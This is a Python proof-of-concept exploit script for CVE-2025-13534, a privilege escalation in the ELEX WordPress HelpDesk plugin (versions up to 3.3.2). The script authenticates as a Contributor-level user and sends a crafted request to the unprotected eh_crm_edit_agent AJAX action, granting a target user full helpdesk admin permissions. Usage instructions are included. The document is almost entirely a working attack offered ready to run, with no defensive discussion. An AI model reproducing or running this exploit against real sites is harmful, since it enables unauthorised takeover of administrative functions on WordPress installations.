CVE-2025-13534

import requests import sys # CVE-2025-13534 PoC - ELEX WordPress HelpDesk Privilege Escalation # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.2 def exploit_privilege_escalation(target_url, username, password, target_user_id=1): """ Exploit the missing authorization check on eh_crm_edit_agent AJAX action. This allows authenticated users with Contributor+ role to escalate privileges. Args: target_url: Base URL of the WordPress site username: WordPress username (Contributor role or higher) password: WordPress password target_user_id: Target user ID to escalate (default: 1 for admin) """ session = requests.Session() login_url = f"{target_url}/wp-login.php" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Authenticate to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Exploit privilege escalation via eh_crm_edit_agent exploit_data = { 'action': 'eh_crm_edit_agent', 'user_id': target_user_id, 'role': 'admin', 'name': 'Helpdesk Admin', 'email': '[email protected]', 'ticket_per': 'all', 'canned_per': 'all', 'canned_create': 'yes', 'canned_delete': 'yes', 'setting_per': 'all', 'agent_per': 'all' } print(f"[*] Exploiting privilege escalation for user ID {target_user_id}...") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully!") print(f"[*] Response: {response.text}") print("[+] Target user should now have full helpdesk admin privileges.") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> [target_user_id]") print("Example: python exploit.py http://localhost admin contributor 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] tid = int(sys.argv[4]) if len(sys.argv) > 4 else 1 exploit_privilege_escalation(target, user, pwd, tid)

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